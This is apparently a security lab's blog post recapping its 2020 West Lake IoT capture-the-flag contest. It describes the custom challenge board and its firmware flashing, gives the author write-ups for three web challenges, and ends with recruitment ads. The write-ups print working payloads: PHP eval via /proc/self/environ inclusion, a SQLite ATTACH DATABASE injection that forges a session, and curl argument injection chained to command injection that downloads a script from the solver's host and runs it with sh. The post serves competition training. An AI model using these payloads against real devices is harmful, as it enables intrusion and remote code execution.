海特实验室
2020年“西湖论剑”IoT闯关赛回顾
IoT(Internet of Things)也就是我们熟知的“物联网”,随着新基建的发展,未来必将是物联网的世界,安全的重要性不言而喻。
在西湖论剑·2020中国杭州网络安全技能大赛的现场,安恒信息海特实验室精心组织了IoT闯关赛赛项——选取真实生活中常见的安全问题转化为赛题,嵌入定制开发的PCB板内,选手需运用IoT安全技术解题。赛题涵盖硬件安全、固件安全、软件无线电、嵌入式Web&PWN、蓝牙安全等内容,研究员还别出心裁出了赛前热身解谜,好让选手们快速熟悉比赛环境。
根据大赛设计,IoT闯关赛采用邀请制,除了大家熟悉的Nu1L、0ops、Redbud等战队外,也有dark_fire(来自四川大学)这类新手战队。经过一天的激战,12支战队瓜分了30万的奖金池,通过比拼,也真的发现和激励了有志于从事IoT安全的人才,希望来年还能有机会跟大家见面,有越来越多的人投身IoT安全。
IoT闯关赛选手“特殊名牌”详细介绍
本次比赛设计了一块兼具MPU与MCU的开发板,可以同时运行Linux操作系统和AVR裸机程序,关键配置如下
主控:Allwinner F1C200s ARM926EJS@408MHz 集成 64MB DDR-I
MCU:ATMEL ATmega328P-MU 具有外部16MHz晶振
无线:Broadcom BCM20702A1 BR/BLE 4.0
存储:GigaDevice GD5F1GQ4UAYIG 128MByte NAND Flash
电源:X-Powers AXP199 电源管理单元
串口:SiliconLabs CP2104 USB转UART桥
其中MPU与MCU使用0号IIC总线通信,并包含一路中断信号。
1、接口分布示意图
开发板包含了充分的扩展接口,这些接口不仅仅是为比赛服务的,同时也提供了更多可能的扩展性。
2、已知问题及缓解措施
就像开发软件系统一样,硬件开发同样会遇到BUG。好在这些BUG并不会影响我们比赛项目的进行,但如果你打算用它去做一些自己的DIY的话,可能要注意以下问题:
UART接口会在板子关机状态下由TX/RX引脚倒灌电流,可能一些微功率器件无法正确断电,如LED可能微微发亮,MCU仍在运行等问题。可以将R10 R11的位置改为NMOS开漏电路解决这个问题,或者在断电后拔出UART接口的USB线。
UART接口会占用CSI0的HSYNC/VSYNC引脚,在默认配置下将导致摄像头不可用。可以断开R10 R11两颗电阻并屏蔽UART0功能来启用摄像头功能。但注意这也会失去串口调试的功能,请预先正确配置SSH服务。
RTC芯片无法正常工作,系统断电后无法保存时间,可以选择兼容3.3V工作电压的国产DS1307Z+代换U5修复。
在关机状态下OTG接口无法充电,可以通过UART接口充电或者开机状态下使用OTG接口充电。
显示屏背光使能引脚默认为高阻状态无上拉,会导致LCD背光闪屏。可以自行编写AXP199电源管理芯片的PWM1驱动或者在U7的第四脚接一10K电阻到U6的第四脚来解决这个问题。
3、如何更新固件、写入题目
我们推荐使用Linux操作系统来进行这一操作,接下来也会以Ubuntu 18.04为演示环境进行演示。
全志平台的处理包含一个内置的FEL模式,该模式允许直接使用USB接口向内存写入机器码来实现其他功能,一般情况下我们不会使用这种模式。
在这块开发板上,我们在bootloader中预置了DFU模式用于快速更新固件。比较关键的两个分区是"all"和"vendor",其中"all"的部分为整个固件,刷写时间比较长。"vendor"包含了题目数据,在启动的时候会被挂载到/workspace路径下,由于题目数据较小,可以很快的完成刷写。
可以使用下面这个命令安装dfu工具
apt install dfu-util
以下脚本可以实现和比赛时相同的刷机操作,它会等待板子正确连接后,向指定分区下发镜像。在没有配置udev规则的环境下,这些脚本依赖root权限。
刷机步骤
运行刷机脚本
将USB OTG线连接到PC
短按RST按钮
等待刷机脚本结束
刷写完整镜像
#!/bin/bash
SELFDIR=`dirname \`realpath ${0}\``
cd ${SELFDIR}
echo -n "Waiting for DFU Device";
while [ -z "`dfu-util -l | grep 'Found DFU'`" ]
do
echo -n ".";
done
echo "Gotcha!";
dfu-util -R -a all -D sysimage-nand.img刷写某个题目
#!/bin/bash
SELFDIR=`dirname \`realpath ${0}\``
cd ${SELFDIR}
echo -n "Waiting for DFU Device";
while [ -z "`dfu-util -l | grep 'Found DFU'`" ]
do
echo -n ".";
done
echo "Gotcha!";
dfu-util -R -a vendor -D RADIO1-adv_sign.squashfs其区别就在最后一行传入dfu-util的参数,具体的含义可以运行dfu-util --help查看。
因为本开发板使用了overlayfs技术,如果出现了文件系统混乱的情况,请运行mtd -r erase /dev/mtd4来清除刷机后的所有更改。注意,这个指令并不会破坏主固件,其行为更接近"恢复出厂设置"。
IOT-WEB 出题总结(@xiaojunjie)
本次出了3道和IoT相关的Web题目,本人原本是Web选手,这两年开始接触IoT安全,用百度磕磕碰碰完成了几个cgi的编写。由于考验的是选手Web方面的技巧,所以并没有使用strip增加逆向的难度。
第一题:后门账号
1.1 出题思路
这道题源于之前挖掘的一个路由器的漏洞,在cgi中认证的地方存在后门账号,导致可以直接绕过认证。另一方面,在实战留后门的过程中,如果对方开始了http认证,那么一切webshell级别的后门都将失去效果,于是想研究一下如果在中间件层留下后门。由于是iot赛,所以采用了比较常用的appweb。
在httpLogin函数中加入了一个后门,如果用户名第二位开始为Mon,则通过认证。题目的描述也明确的提示了选手,后门在认证的位置。
路由器管理后台被攻陷,运维加了个访问认证,可惜中间件被黑客植入了后门账号
登录后跳转到action.php?action=echo.php
action.php源码
后续是一个简单的文件包含送分,有几个队伍在这里卡了很久是我没想到的~
1.2 题解
题目附件是appweb和它的so,这里有俩个思路,1是直接下载最新版的源码,找到认证的位置再去二进制中找。2是直接在二进制中搜索login,很快就能找到在libhttp.so中找到。
f5一下
登录后跳转到action.php?action=echo.php显然是个包含,几个比较明显的思路。appweb日志包含,/proc/self/environ,循环包含导致上传文件保留。这里用最简单的。
action.php?action=/proc/self/environ&x=%3C?php%20eval($_ENV[CGI_1]);?%3E即可获取权限。
第二题:伪造登录
2.1 出题思路
这题是挖掘某个cgi系统的时候想到的一个思路。整体思路很简单,题目名字就是提示。通过sqlite注入写session文件伪造登录既可拿到flag。这题本来真的是送分,结果sqlite的数据库在版子中生成的大小为0x1ff0 导致难度无形中提升了很多。
2.2 题解
题目给出3个cgi文件:
login.out
登录逻辑,获取密码后,sha1进行比较,如果通过就在/tmp下生成一个sess_30位随机字符的文件。内容是user:admin;
readflag.out
从cookie中首先寻找SESSION=字符,然后拼接上/tmp/sess_,打开后读取文件放入v14。v14中先找到:,再在:后面找到;,将;替换成NULL,然后判断值是不是admin。
简单的说就是从cookie中读取session,然后判断文件中:;之间是不是admin。这里就算看不懂也没有关系,因为认证是登录的逆过程,所以登录能看懂就能知道认证在干嘛。
所以现在还需要一个任意文件写。
看到最后一个cgidata.out
逻辑很简单,就是一个赤裸裸的sql查询和注入点。网上随便一搜就可以找到exp
ATTACH DATABASE '/tmp/sess_123456789012345678901234567890' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('1');--
稍微改一下
ATTACH DATABASE '/tmp/sess_123456789012345678901234567890' AS test ;create TABLE test.exp (`user:admin;` text) ; insert INTO test.exp (dataz) VALUES ('1');--
其实本来是可以成功了,但是因为前面说到的坑,
v14中寻找:的时候只找了0x400位,而版子里生成的数据库为0x1ff0大小。所以在比赛给了本地调试的提示。
查一下文档即可。最终exp
type=';ATTACH DATABASE '/tmp/sess_123456789012345678901234567899' AS test ;pragma test.page_size=512;create TABLE test.exp (`user:admin;` text) ;--
0ops大佬用了多个ATTACH DATABASE,挤压了数据库中的00,使得user:admin的位置提前。应该是全场web唯一一个非预期解,膜拜一下。
第三题:版本更新
3.1出题思路
这题源于之前挖的一个路由器和某个设备漏洞的组合,做了一些修改。curl命令注入导致文件读取和ssrf,读取cmdline知道后台的进程。读取进程的elf文件分析后有一个命令注入。通过ssrf攻击后台进程获取flag。
对设备来说,通常会有一个后端rpc解析xml,来执行设备命令。由于菜,不会用c处理xml,所以就改成了命令注入。
3.2题解
登录后跳转到checkupdate?url=xxx.bin
提示给了参数注入和后端进程,通过测试可以发现是curl的参数注入。
checkupdate?url=xxx.bin -x 20.20.11.13:8000/
即可将流量转发到自身机器。
这一步其实有几个队伍已经做到了,但是不知道为啥没有去爆破cmdline。
爆破cmdline可以看到一个进程executeproxy
读取对应的文件就可以找到一个极其明显的命令注入。
首先读取2位,作为长度
如果长度小于9,就退出,输出长度太小
读取接下来的5位作为认证的数据
如果认证数据不是P4ss1就退出
接下来是读取(v0-10312)地址对应的长度位,用|分割后进入执行命令v0-10312指向就是刚刚读取的len
最终exp
http://20.20.11.14/checkupdate.php?url=firmware.bin -x http://127.0.0.1:9998 -X "a%01P4ss1aaaa%7cc%7cd%7ccurl 20.20.11.13:8000/1.sh -o /tmp/test -u x:x%7c%7ce%7c"
curl获取一个命令
http://20.20.11.14/checkupdate.php?url=firmware.bin -x http://127.0.0.1:9998 -X "a%01P4ss1aaaa%7cc%7cd%7csh /tmp/test %7c%7ce%7c"
执行它
中间的调试步骤就慢慢自己调吧..由于可以ssrf到自己的电脑,调试还是比较方便的。
这题有的ida不太好看,用ghidra会比较清晰。
还有队伍用ida 7.5一目了然,氪金的力量真的强
四、传说中的web题目原题
https://github.com/DasSecurity-Labs/2020-IOT-
比赛花絮
为了让选手感觉“有点儿意思”,海特实验室的研究员们除了兢兢业业的出题,还要兢兢业业的设计PCB、焊板子。于是便诞生了引人哄抢的国内第一块IoT题目板。
(安恒研究院海特实验室焊板子流水线)
为保障赛项顺利进行,赛项技术负责人Aodzip连续爆肝熬了两个通宵,所幸付出都有回报,参赛选手对赛项的评价都是:有趣!好玩!学到东西了!
公众号抽奖活动获奖前三名
第一名:柠檬探戈
第二名:lanlana蓝蓝啊
第三名:南溟
近期,大赛工作人员将联系以上几位集赞达人,请上述三位向工作人员回复收货地址,选手同款设备将极速发出!(偷偷告诉大家,第一名集赞速度比小编写这文章时间还短)
HatLab知识星球
关于我们
人才招聘
一、物联网安全研究员(硬件安全方向)
工作地点:
1.杭州;
岗位职责:
1.嵌入式方向的安全漏洞挖掘;
2.嵌入式系统硬件软件设计与研发。
任职要求:
1.熟练使用C语言,可规范使用指针,结构体,联合体;
2.熟练使用Linux操作系统,理解Makefile原理并可编写Makefile文件;
3.了解数字电路原理,具有较扎实的计算机系统结构知识,理解操作系统原理;
4.了解WEB或PWN方向的漏洞挖掘过程,会使用相关工具如Zap、IDA等,会自行编写漏洞利用工具。
加分项:
1.具有网络安全公司实习经验;
2.具有网络安全赛事经验;
3.有设计电路板原理图和四层PCB布局经验;
4.熟练焊接0402,0201,QFN,BGA等元器件封装;
5.有AVR,ARM,MIPS,Xtensa等内核的MCU/SoC开发经验;
6.向知名平台提交过物联网方向的漏洞报告。
二、物联网安全研究员(固件安全方向)
工作地点:
1.杭州;
岗位职责:
1. 物联网通用协议、组件、操作系统漏洞挖掘与漏洞复现;
2. 物联网设备漏洞挖掘与漏洞复现;
3. 参与创新物联网安全研究项目;
任职要求:
1.具有二进制漏洞挖掘经验,熟悉ARM、MIPS等其他架构的漏洞利用技巧;
2.熟练掌握gdb、IDA等工具的使用;
3.具有一定的硬件基础和动手能力,掌握常见的嵌入式设备固件提取及解包的方法;
4.至少掌握一门编程语言,如C/C++/Perl/Python/PHP/Go/Java等。
加分项:
1.具有知名物联网设备/网络设备漏洞挖掘成果证明;
2.参加CTF比赛并获奖;
3.参与GeekPWN、HackPWN等智能设备破解大赛并取得成绩。
三、物联网安全研究员(无线电安全方向)
工作地点:
1.杭州;
岗位职责:
1. 无线通信协议的通用漏洞挖掘;
2. 无线通信应用系统的漏洞挖掘,如智能设备等。
任职要求:
1. 掌握无线通信基本原理及数字信号处理理论,熟悉各种调制解调算法,信道编码算法等;
2. 熟悉C/C++、MatLab、Python等编程语言;
3. 熟悉至少一种常见无线通信协议及其安全问题,如Wi-Fi、Bluetooth、Zigbee、4/5G等;
4. 熟练掌握SDR外设和GNURadio等工具的使用。
加分项:
1. 具有信息安全公司实习经验;
2. 有嵌入式固件逆向分析经验;
3. 参加CTF比赛并获奖;
4. 有智能设备的破解经验;
5. 通信工程、信息安全专业。
感兴趣的小伙伴请联系姜女士,或将简历投送至下方邮箱。(请注明来源“研究院公众号”)
联系人:姜女士
邮箱:double.jiang@dbappsecurity.com.cn
手机;15167179002,微信同号